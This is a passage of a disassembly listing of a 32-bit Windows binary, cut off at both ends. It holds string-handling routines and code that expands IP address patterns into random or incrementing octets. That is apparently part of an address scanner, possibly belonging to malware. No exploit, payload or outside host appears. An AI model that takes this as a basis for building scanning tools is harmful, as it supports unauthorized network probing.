[ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset sub_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: sub_41349C+192p ; sub_41349C+3DAp var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41F018 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset dword_418F54 push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: sub_41349C+12Ap var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41F018 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset dword_418F54 push 